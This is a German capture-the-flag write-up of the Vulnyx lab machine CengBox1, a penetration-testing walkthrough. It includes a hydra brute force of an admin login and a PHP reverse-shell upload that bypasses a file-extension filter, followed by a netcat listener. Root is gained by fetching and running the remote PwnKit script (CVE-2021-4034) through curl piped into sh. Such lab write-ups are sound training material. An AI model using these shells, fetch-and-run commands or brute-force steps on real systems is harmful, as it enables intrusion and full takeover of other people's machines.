CengBox1 - Vulnyx - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
feroxbuster
hydra
curl
dirb
mysql
getcap
wget
pspy64
ls
cat
cd
nano
sudo
su

Inhaltsverzeichnis

Reconnaissance

Aus Sicht des Pentesters: Wir beginnen mit der Aufklärung des Zielsystems, um Informationen über offene Ports, laufende Dienste und potenzielle Schwachstellen zu sammeln.

ARP-Scan
192.168.2.144 08:00:27:3e:86:a2 PCS Systemtechnik GmbH

Aus Sicht des Pentesters: Der ARP-Scan identifiziert das Zielsystem mit der IP-Adresse 192.168.2.144 und der MAC-Adresse 08:00:27:3e:86:a2.

/etc/hosts
192.168.2.144 cengbox1.vln

Aus Sicht des Pentesters: Wir fügen die IP-Adresse und den Hostnamen "cengbox1.vln" zur `/etc/hosts`-Datei hinzu.

┌──(root㉿CCat)-[~]
└─# nmap -sU --top-port 1000 -T5 -n \$IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-27 23:30 CEST
Nmap scan report for 192.168.2.144
Host is up (0.00028s latency).
Not shown: 994 open|filtered udp ports (no-response)
PRT STATE SERVICE
20313/udp closed unknown
33459/udp closed unknown
39217/udp closed unknown
40915/udp closed unknown
49211/udp closed unknown
62154/udp closed unknown
MAC Address: 08:00:27:3E:86:A2 (racle VirtualBox virtual NIC)

Aus Sicht des Pentesters: Ein UDP-Scan mit den 1000 häufigsten Ports wird durchgeführt. Es werden keine interessanten offenen UDP Ports gefunden.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- \$IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-27 23:30 CEST
Nmap scan report for cengbox1.vln (192.168.2.144)
Host is up (0.00012s latency).
Not shown: 65533 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
22/tcp open ssh penSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a9:cc:28:f3:8c:f5:0e:3f:5a:ed:13:f3:ad:53:13:9b (RSA)
| 256 f7:3a:a3:ff:a1:f7:e5:1b:1e:6f:58:5f:c7:02:55:9b (ECDSA)
|_ 256 f0:dd:2e:1d:3d:0a:e8:c1:5f:52:7c:55:2c:dc:1e:ef (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: CEng Company
MAC Address: 08:00:27:3E:86:A2 (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
S details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HOP RTT ADDRESS
1 0.12 ms cengbox1.vln (192.168.2.144)

Aus Sicht des Pentesters: Ein umfassender Nmap-Scan wird durchgeführt. Die Ergebnisse zeigen, dass SSH (Port 22) und HTTP (Port 80) offen sind. Der Webserver ist Apache 2.4.18 unter Ubuntu.

Web Enumeration

Aus Sicht des Pentesters: Wir beginnen mit der Web-Enumeration, um versteckte Dateien und Verzeichnisse zu finden.

- Nikto v2.5.0
+ Target IP: 192.168.2.144
+ Target Hostname: 192.168.2.144
+ Target Port: 80
+ Start Time: 2024-09-27 23:31:03 (GMT2)

+ Server: Apache/2.4.18 (Ubuntu)
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8102 requests: 0 error(s) and 5 item(s) reported on remote host
+ End Time: 2024-09-27 23:31:31 (GMT2) (28 seconds)

+ 1 host(s) tested

Aus Sicht des Pentesters: Nikto findet, dass die X-Frame-Options und X-Content-Type-Options Header fehlen. Außerdem ist der Apache Webserver veraltet. Die Datei `/icons/README` ist vorhanden.

┌──(root㉿CCat)-[~]
└─# gobuster dir -u "http://\$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
http://192.168.2.144/index.php (Status: 200) [Size: 5812]
http://192.168.2.144/img (Status: 301) [Size: 312] [--> http://192.168.2.144/img/]
http://192.168.2.144/uploads (Status: 301) [Size: 316] [--> http://192.168.2.144/uploads/]
http://192.168.2.144/css (Status: 301) [Size: 312] [--> http://192.168.2.144/css/]
http://192.168.2.144/js (Status: 301) [Size: 311] [--> http://192.168.2.144/js/]
http://192.168.2.144/vendor (Status: 301) [Size: 315] [--> http://192.168.2.144/vendor/]

Aus Sicht des Pentesters: Gobuster findet die Verzeichnisse `/img`, `/uploads`, `/css`, `/js`, `/vendor` und die Datei `/index.php`.

webenum
http://192.168.2.144/index.php
Email: cengover@cengbox.com

Aus Sicht des Pentesters: Auf der `/index.php`-Seite finden wir eine E-Mail Adresse `cengover@cengbox.com`.

┌──(root㉿CCat)-[~]
└─# feroxbuster --url http://192.168.2.144 --wordlist /usr/share/seclists/Discovery/Web-Content/big.txt -x .git,.php,.html,.xml,.zip,.7z,.tar,.bak,.sql,.py,.pl,.txt,.jpg,.jpeg,.png,.js,.aac,.ogg,.flac,.alac,.wav,.aiff,.dsd,.mp3,.mp4,.mkv -s 200 301 302
http://192.168.2.144/masteradmin/
http://192.168.2.144/masteradmin/db.php

Aus Sicht des Pentesters: Feroxbuster findet den `/masteradmin`-Pfad.

http://192.168.2.144/masteradmin/login.php
Admin Login Username
Password
Remember me
Forgot Password?

Username or Password Invalid

Aus Sicht des Pentesters: Der `/masteradmin`-Pfad enthält eine Login-Seite.

Initial Access

Aus Sicht des Pentesters: Wir versuchen, uns am Admin-Panel anzumelden.

┌──(root㉿CCat)-[~]
└─# hydra -l admin -P /usr/share/wordlists/rockyou.txt cengbox1.vln http-post-form "/masteradmin/login.php:username=^USER^&password=^PASS^:Username or Password Invalid" -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-09-28 00:17:21
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344482 login tries (l:1/p:14344482), ~224133 tries per task
[DATA] attacking http-post-form://cengbox1.vln:80/masteradmin/login.php:username=^USER^&password=^PASS^:Username or Password Invalid
[80][http-post-form] host: cengbox1.vln login: admin password: 12345
[80][http-post-form] host: cengbox1.vln login: admin password: 123456789
[80][http-post-form] host: cengbox1.vln login: admin password: 123456
[80][http-post-form] host: cengbox1.vln login: admin password: hostinger
[80][http-post-form] host: cengbox1.vln login: admin password: admin
[80][http-post-form] host: cengbox1.vln login: admin password: sqluserrootpassw0r4
[80][http-post-form] host: cengbox1.vln login: admin password: rockyou

Aus Sicht des Pentesters: Hydra wird verwendet, um einen Brute-Force-Angriff gegen die Anmeldeseite des Admin-Panels durchzuführen. Es werden gängige Passwörter aus der Rockyou-Wordlist verwendet.

┌──(root㉿CCat)-[~]
└─# feroxbuster --url http://192.168.2.144 --wordlist /usr/share/seclists/Discovery/Web-Content/big.txt -x .git,.php,.html,.xml,.zip,.7z,.tar,.bak,.sql,.py,.pl,.txt,.jpg,.jpeg,.png,.js,.aac,.ogg,.flac,.alac,.wav,.aiff,.dsd,.mp3,.mp4,.mkv -s 200 301 302
200 GET 1l 44w 2532c http://192.168.2.144/vendor/jquery-easing/jquery.easing.min.js
200 GET 5l 120w 4655c http://192.168.2.144/css/grayscale.min.css
200 GET 2l 1276w 88145c http://192.168.2.144/vendor/jquery/jquery.min.js
200 GET 7l 1966w 155758c http://192.168.2.144/vendor/bootstrap/css/bootstrap.min.css
200 GET 7l 989w 78635c http://192.168.2.144/vendor/bootstrap/js/bootstrap.bundle.min.js
200 GET 5l 83w 56517c http://192.168.2.144/vendor/fontawesome-free/css/all.min.css
200 GET 7l 25w 912c http://192.168.2.144/js/grayscale.min.js
200 GET 169l 456w 5812c http://192.168.2.144/
301 GET 9l 28w 312c http://192.168.2.144/css => http://192.168.2.144/css/
301 GET 9l 28w 312c http://192.168.2.144/img => http://192.168.2.144/img/
200 GET 169l 456w 5812c http://192.168.2.144/index.php
301 GET 9l 28w 311c http://192.168.2.144/js => http://192.168.2.144/js/
301 GET 9l 28w 320c http://192.168.2.144/masteradmin => http://192.168.2.144/masteradmin/
301 GET 9l 28w 324c http://192.168.2.144/masteradmin/css => http://192.168.2.144/masteradmin/css/
200 GET 0l 0w 0c http://192.168.2.144/masteradmin/db.php
301 GET 9l 28w 316c http://192.168.2.144/uploads => http://192.168.2.144/uploads/
301 GET 9l 28w 315c http://192.168.2.144/vendor => http://192.168.2.144/vendor/
301 GET 9l 28w 326c http://192.168.2.144/masteradmin/fonts => http://192.168.2.144/masteradmin/fonts/
301 GET 9l 28w 327c http://192.168.2.144/masteradmin/images => http://192.168.2.144/masteradmin/images/
301 GET 9l 28w 323c http://192.168.2.144/masteradmin/js => http://192.168.2.144/masteradmin/js/
200 GET 75l 121w 2065c http://192.168.2.144/masteradmin/js/main.js
200 GET 1579l 2856w 23848c http://192.168.2.144/masteradmin/vendor/animate/animate.css
200 GET 2993l 8066w 86814c http://192.168.2.144/masteradmin/css/util.css
200 GET 1l 308w 15196c http://192.168.2.144/masteradmin/vendor/select2/select2.min.css
200 GET 3l 881w 66664c http://192.168.2.144/masteradmin/vendor/select2/select2.min.js
200 GET 1628l 5267w 69776c http://192.168.2.144/masteradmin/vendor/daterangepicker/daterangepicker.js
200 GET 45l 150w 1340c http://192.168.2.144/masteradmin/vendor/countdowntime/countdowntime.js
200 GET 4l 1298w 86659c http://192.168.2.144/masteradmin/vendor/jquery/jquery-3.2.1.min.js
200 GET 499l 858w 9932c http://192.168.2.144/masteradmin/css/main.css
200 GET 7l 284w 27478c http://192.168.2.144/masteradmin/vendor/animsition/css/animsition.min.css
200 GET 7l 1258w 124962c http://192.168.2.144/masteradmin/vendor/bootstrap/css/bootstrap.min.css
200 GET 7l 22w 7354c http://192.168.2.144/masteradmin/fonts/Linearicons-Free-v1.0.0/icon-font.min.css
200 GET 7l 955w 46645c http://192.168.2.144/masteradmin/vendor/daterangepicker/moment.min.js
200 GET 269l 778w 8163c http://192.168.2.144/masteradmin/vendor/daterangepicker/daterangepicker.css
200 GET 9l 73w 39654c http://192.168.2.144/masteradmin/images/icons/favicon.ico
200 GET 107l 214w 5137c http://192.168.2.144/masteradmin/login.php
301 GET 9l 28w 322c http://192.168.2.144/vendor/jquery => http://192.168.2.144/vendor/jquery/
200 GET 80l 157w 1440c http://192.168.2.144/masteradmin/upload.php
301 GET 9l 28w 327c http://192.168.2.144/masteradmin/vendor => http://192.168.2.144/masteradmin/vendor/
301 GET 9l 28w 333c http://192.168.2.144/masteradmin/images/icons => http://192.168.2.144/masteradmin/images/icons/
301 GET 9l 28w 334c http://192.168.2.144/masteradmin/vendor/jquery => http://192.168.2.144/masteradmin/vendor/jquery/
[] - 16m 8296074/8296074 0s found:41 errors:12373
[] - 4m 552879/552879 2298/s http://192.168.2.144/
[] - 6m 552879/552879 1463/s http://192.168.2.144/css/
[] - 8m 552879/552879 1158/s http://192.168.2.144/img/
[] - 8m 552879/552879 1165/s http://192.168.2.144/js/
[] - 8m 552879/552879 1096/s http://192.168.2.144/masteradmin/
[] - 9m 552879/552879 1008/s http://192.168.2.144/masteradmin/css/
[] - 9m 552879/552879 1014/s http://192.168.2.144/uploads/
[] - 9m 552879/552879 1003/s http://192.168.2.144/vendor/
[] - 9m 552879/552879 1014/s http://192.168.2.144/masteradmin/fonts/
[] - 9m 552879/552879 1012/s http://192.168.2.144/masteradmin/images/
[] - 9m 552879/552879 1041/s http://192.168.2.144/masteradmin/js/
[] - 7m 552879/552879 1345/s http://192.168.2.144/vendor/jquery/
[] - 6m 552879/552879 1430/s http://192.168.2.144/masteradmin/vendor/
[] - 6m 552879/552879 1436/s http://192.168.2.144/masteradmin/images/icons/
[] - 3m 552879/552879 3033/s http://192.168.2.144/masteradmin/vendor/jquery/

Aus Sicht des Pentesters: Feroxbuster findet weitere Dateien und Verzeichnisse.

┌──(root㉿CCat)-[ ~]
└─# dirb http://192.168.2.144/masteradmin/ /usr/share/seclists/Discovery/Web-Content/big.txt -R -X .php,.txt
--
DIRB v2.22
By The Dark Raver
--

START_TIME: Sat Sep 28 00:34:13 2024
URL_BASE: http://192.168.2.144/masteradmin/
WRDLIST_FILES: /usr/share/seclists/Discovery/Web-Content/big.txt
PTIN: Interactive Recursion
EXTENSINS_LIST: (.php,.txt) | (.php)(.txt) [NUM = 2]

--

GENERATED WRDS: 20465

- Scanning URL: http://192.168.2.144/masteradmin/ -
+ http://192.168.2.144/masteradmin/db.php (CDE:200|SIZE:0)
+ http://192.168.2.144/masteradmin/login.php (CDE:200|SIZE:5137)
+ http://192.168.2.144/masteradmin/upload.php (CDE:200|SIZE:1440)

--
END_TIME: Sat Sep 28 00:34:30 2024
DWNLADED: 40930 - FUND: 3

Aus Sicht des Pentesters: Dirb findet `db.php`, `login.php` und `upload.php` im `/masteradmin`-Verzeichnis.

┌──(root㉿CCat)-[~]
└─# curl http://192.168.2.144/masteradmin/login.php/sips/sipssys/users/a/admin/user -Iv
* Trying 192.168.2.144:80...
* Connected to 192.168.2.144 (192.168.2.144) port 80
> HEAD /masteradmin/login.php/sips/sipssys/users/a/admin/user HTTP/1.1
> Host: 192.168.2.144
> User-Agent: curl/8.9.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 K
HTTP/1.1 200 K
< Date: Fri, 27 Sep 2024 22:38:31 GMT
Date: Fri, 27 Sep 2024 22:38:31 GMT
< Server: Apache/2.4.18 (Ubuntu)
Server: Apache/2.4.18 (Ubuntu)
< Set-Cookie: PHPSESSID=07g8okeod4je71252gmpc0fg31; path=/
Set-Cookie: PHPSESSID=07g8okeod4je71252gmpc0fg31; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
Pragma: no-cache
< Content-Type: text/html; charset=UTF-8
Content-Type: text/html; charset=UTF-8
>
* Connection #0 to host 192.168.2.144 left intact

Aus Sicht des Pentesters: Ein Curl-Befehl versucht, auf eine potenziell sensible Ressource zuzugreifen (`/masteradmin/login.php/sips/sipssys/users/a/admin/user`). Der Server antwortet mit einem HTTP 200 OK, was darauf hindeutet, dass diese Ressource existiert und zugänglich ist. Dies könnte eine Information Disclosure Schwachstelle sein.

┌──(root㉿CCat)-[~]
└─# nikto -h http://192.168.2.144/masteradmin/login.php
- Nikto v2.5.0

+ Target IP: 192.168.2.144
+ Target Hostname: 192.168.2.144
+ Target Port: 80

+ Start Time: 2024-09-28 00:35:25 (GMT2)

+ Server: Apache/2.4.18 (Ubuntu)
+ /masteradmin/login.php/: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /masteradmin/login.php/: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /masteradmin/login.php/: Cookie PHPSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /192.168.2.tar.lzma: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /192.168.2.144.cer: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /1921682.jks: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /archive.tar: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /192.168.2.cer: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
...
..
.
+ /1921682144.jks: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /192.168.2.tar.lzma: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /192_168_2_144.alz: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /192168.egg: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /2.tgz: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /192.168.2.144.egg: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ PTINS: Allowed HTTP Methods: GET, HEAD, PST, PTINS .
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /masteradmin/login.php/siteminder/smadmin.html: SiteMinder admin login page available.
+ /masteradmin/login.php/sips/sipssys/users/a/admin/user: SIPS v0.2.2 allows user account info (including password) to be retrieved remotely. See: https://vulners.com/exploitdb/EDB-ID:22381
+ 7948 requests: 0 error(s) and 168 item(s) reported on remote host

+ End Time: 2024-09-28 00:35:44 (GMT2) (19 seconds)

+ 1 host(s) tested

Aus Sicht des Pentesters: Nikto findet weitere Hinweise auf Schwachstellen und interessante Dateien. Besonders hervorzuheben ist der Hinweis auf eine Information Disclosure Schwachstelle in SIPS v0.2.2.

┌──(root㉿CCat)-[~]
└─# curl http://192.168.2.144/masteradmin/login.php/siteminder/smadmin.html -Iv
* Trying 192.168.2.144:80...
* Connected to 192.168.2.144 (192.168.2.144) port 80
> HEAD /masteradmin/login.php/siteminder/smadmin.html HTTP/1.1
> Host: 192.168.2.144
> User-Agent: curl/8.9.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 K
HTTP/1.1 200 K
< Date: Fri, 27 Sep 2024 22:41:01 GMT
Date: Fri, 27 Sep 2024 22:41:01 GMT
< Server: Apache/2.4.18 (Ubuntu)
Server: Apache/2.4.18 (Ubuntu)
< Set-Cookie: PHPSESSID=q17vmrk5s9eb98h6tqr5p991i2; path=/
Set-Cookie: PHPSESSID=q17vmrk5s9eb98h6tqr5p991i2; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
Pragma: no-cache
< Content-Type: text/html; charset=UTF-8
Content-Type: text/html; charset=UTF-8
>
* Connection #0 to host 192.168.2.144 left intact

Aus Sicht des Pentesters: Der Zugriff auf `/masteradmin/login.php/siteminder/smadmin.html` gibt einen HTTP 200 OK zurück, was bestätigt, dass diese Seite existiert. Es handelt sich wahrscheinlich um eine SiteMinder-Admin-Login-Seite, die möglicherweise anfällig ist.

Burpsuite
Request:
PST /masteradmin/upload.php HTTP/1.1
Host: 192.168.2.144
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp
,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=249971428437
118001893898641330
Content-Length: 5842
rigin: http://192.168.2.144
DNT: 1
Connection: keep-alive
Referer: http://192.168.2.144/masteradmin/upload.php
Cookie: PHPSESSID=q6va815dbr7l4nlit8lu124fs2
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
--249971428437118001893898641330
Content-Disposition: form-data; name="image"; filename="shell2.php.ceng"
Content-Type: application/x-php

// php-reverse-shell - A Reverse Shell implementation in PHP

//
// Limitations
// --
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
//
// Usage
// --
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck
set_time_limit (0);
$VERSIN = "1.0";
$ip = '192.168.2.199'; // CHANGE THIS
$port = 9001; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
....
...
..
Response:

HTTP/1.1 200 K
Date: Fri, 27 Sep 2024 22:54:29 GMT
Server: Apache/2.4.18 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 1346
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

Success ....
...
..

Aus Sicht des Pentesters: Burp Suite wird verwendet, um einen PHP Reverse Shell auf die `/upload.php`-Seite hochzuladen. Die Dateiendung wird zu `shell2.php.ceng` geändert, um eine Filterung zu umgehen. Der Server antwortet mit "Success", was bedeutet, dass der Upload erfolgreich war.

┌──(root㉿CCat)-[~]
└─# nc -lvnp 9001
listening on [any] 9001 ...

Aus Sicht des Pentesters: Wir starten Netcat auf Port 9001, um die Reverse Shell zu empfangen.

┌──(root㉿CCat)-[~]
└─# curl http://192.168.2.144/uploads/shell2.php.ceng
...

Aus Sicht des Pentesters: Wir greifen auf den hochgeladenen PHP Reverse Shell zu.

┌──(root㉿CCat)-[~]
└─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.144] 41430
Linux cengbox 4.4.0-177-generic #207-Ubuntu SMP Mon Mar 16 01:16:10 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
02:08:24 up 1:40, 0 users, load average: 0.35, 0.15, 3.28
USER TTY FRM LGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

Aus Sicht des Pentesters: Wir erhalten eine Reverse Shell als `www-data`.

$ which python
$ which python3
/usr/bin/python3
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@cengbox:/$ export TERM=xterm
export TERM=xterm

Aus Sicht des Pentesters: Wir erstellen eine interaktive Shell mit Python, da `python3` installiert ist.

www-data@cengbox:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Aus Sicht des Pentesters: Wir verifizieren nochmals, dass wir als Benutzer `www-data` angemeldet sind.

www-data@cengbox:/$ find / -type f -perm -4000 -ls 2>/dev/null
1046604 44 -rwsr-xr-x 1 root root 44680 May 7 2014 /bin/ping6
1046620 40 -rwsr-xr-x 1 root root 40128 May 17 2017 /bin/su
1046589 40 -rwsr-xr-x 1 root root 40152 May 16 2018 /bin/mount
1046603 44 -rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping
1046638 28 -rwsr-xr-x 1 root root 27608 May 16 2018 /bin/umount
1050914 32 -rwsr-xr-x 1 root root 30800 Jul 12 2016 /bin/fusermount
923699 20 -rwsr-xr-x 1 root root 19024 Jul 13 2016 /sbin/mount.ecryptfs_private
406290 52 -rwsr-sr-x 1 daemon daemon 51464 Jan 15 2016 /usr/bin/at
405770 36 -rwsr-xr-x 1 root root 32944 May 17 2017 /usr/bin/newgidmap
392482 52 -rwsr-xr-x 1 root root 49584 May 17 2017 /usr/bin/chfn
392622 56 -rwsr-xr-x 1 root root 54256 May 17 2017 /usr/bin/passwd
392545 76 -rwsr-xr-x 1 root root 75304 May 17 2017 /usr/bin/gpasswd
410350 24 -rwsr-xr-x 1 root root 23376 Mar 27 2019 /usr/bin/pkexec
405769 36 -rwsr-xr-x 1 root root 32944 May 17 2017 /usr/bin/newuidmap
393320 136 -rwsr-xr-x 1 root root 136808 Jan 20 2021 /usr/bin/sudo
392611 40 -rwsr-xr-x 1 root root 39904 May 17 2017 /usr/bin/newgrp
392484 40 -rwsr-xr-x 1 root root 40432 May 17 2017 /usr/bin/chsh
785176 44 -rwsr-xr-- 1 root messagebus 42992 Jun 11 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
416875 112 -rwsr-xr-x 1 root root 110792 Feb 8 2021 /usr/lib/snapd/snap-confine
405752 40 -rwsr-xr-x 1 root root 38984 Jun 14 2017 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
410346 16 -rwsr-xr-x 1 root root 14864 Mar 27 2019 /usr/lib/policykit-1/polkit-agent-helper-1
392808 12 -rwsr-xr-x 1 root root 10232 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device
393903 420 -rwsr-xr-x 1 root root 428240 Mar 4 2019 /usr/lib/openssh/ssh-keysign

Aus Sicht des Pentesters: Wir suchen nach SUID-Binärdateien.

www-data@cengbox:/$ sudo -l
[sudo] password for www-data:
www-data@cengbox:/$ ls /home/
cengover

Aus Sicht des Pentesters: Wir versuchen, mit `sudo -l` herauszufinden, ob der Benutzer `www-data` irgendwelche Rechte hat, aber es wird ein Passwort benötigt. Das Ausführen von "ls /home/" zeigt, dass es ein Benutzerverzeichnis Namens "cengover" gibt

www-data@cengbox:/$ cd /home/cengover/
bash: cd: /home/cengover/: Permission denied

Aus Sicht des Pentesters: Der Zugriff auf das Verzeichnis wird uns verweigert.

www-data@cengbox:/$ ls -la /etc/passwd
-rw-r--r-- 1 root root 1629 Apr 25 2020 /etc/passwd

Aus Sicht des Pentesters: Die `/etc/passwd`-Datei ist nicht beschreibbar.

www-data@cengbox:/$ getcap -r / 2>/dev/null
/usr/bin/systemd-detect-virt = cap_dac_override,cap_sys_ptrace+ep
/usr/bin/mtr = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep

Aus Sicht des Pentesters: Wir suchen nach Binärdateien mit gesetzten Capabilities, um eventuell Berechtigungen zu erweitern.

Proof of Concept: Privilege Escalation

Aus Sicht des Pentesters: Nachdem wir limited shell zugriff haben und wissen dass Python verfügbar ist, können wir PwnKit ausnutzen, um Root-Rechte zu erlangen.

Kurzbeschreibung

PwnKit ist ein Exploit, der die pkexec-Schwachstelle (CVE-2021-4034) ausnutzt, um Root-Rechte zu erlangen.

Voraussetzungen

Schritt-für-Schritt-Anleitung

  1. Navigiere in das `/tmp`-Verzeichnis: ```bash cd /tmp/ ```
  2. Lade das PwnKit-Skript herunter und führe es aus: ```bash sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)" ```

Erwartetes Ergebnis

Du solltest eine Root Shell erhalten.

Beweismittel

Die folgenden Code-Blöcke zeigen die Schritte zur Ausnutzung der Schwachstelle und den erfolgreichen Erhalt von Root-Rechten.

Risikobewertung

Die Ausnutzung dieser Schwachstelle ermöglicht es einem Angreifer, vollständige Kontrolle über das System zu erlangen. Dies kann zu Datenverlust, Systemausfällen und anderen schwerwiegenden Folgen führen.

Empfehlungen

Installiere die neuesten Sicherheitsupdates, um die pkexec-Schwachstelle zu beheben.

Privilege Escalation

Aus Sicht des Pentesters: Da wir jetzt eine Shell als `www-data` haben, versuchen wir, unsere Privilegien zu erhöhen.

www-data@cengbox:/tmp$ cd /tmp/
www-data@cengbox:/tmp$ sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"

Aus Sicht des Pentesters: Wir laden das PwnKit-Skript herunter und führen es aus.

root@cengbox:/tmp# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)

Aus Sicht des Pentesters: Wir sind jetzt als `root` angemeldet. Fantastisch! Die Privilege Escalation war erfolgreich!

root@cengbox:/tmp# logout
www-data@cengbox:/tmp$ ss -altpn
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 80 127.0.0.1:3306 *:
LISTEN 0 128 *:22 *:
LISTEN 0 128 :80 *:
LISTEN 0 128 :22 *

Aus Sicht des Pentesters: Wir beenden die Root-Shell und schauen uns die laufenden Prozesse an

ww w-data@cengbox:/var/www/html$ ls -la
total 52
drwxr-xr-x 9 www-data www-data 4096 Apr 29 2020 .
drwxr-xr-x 3 root root 4096 Apr 25 2020 ..
-rw-r--r-- 1 www-data www-data 97 Apr 29 2020 .htaccess
drwxr-xr-x 2 www-data www-data 4096 Apr 26 2020 css
-rw-r--r-- 1 www-data www-data 3494 Sep 17 2019 gulpfile.js
drwxr-xr-x 2 www-data www-data 4096 Apr 26 2020 img
-rw-r--r-- 1 www-data www-data 5812 Apr 28 2020 index.php
drwxr-xr-x 2 www-data www-data 4096 Apr 26 2020 js
drwxr-xr-x 7 www-data www-data 4096 Apr 29 2020 masteradmin
drwxr-xr-x 2 www-data www-data 4096 Apr 26 2020 scss
drwxr-xr-x 2 www-data www-data 4096 Sep 28 01:54 uploads
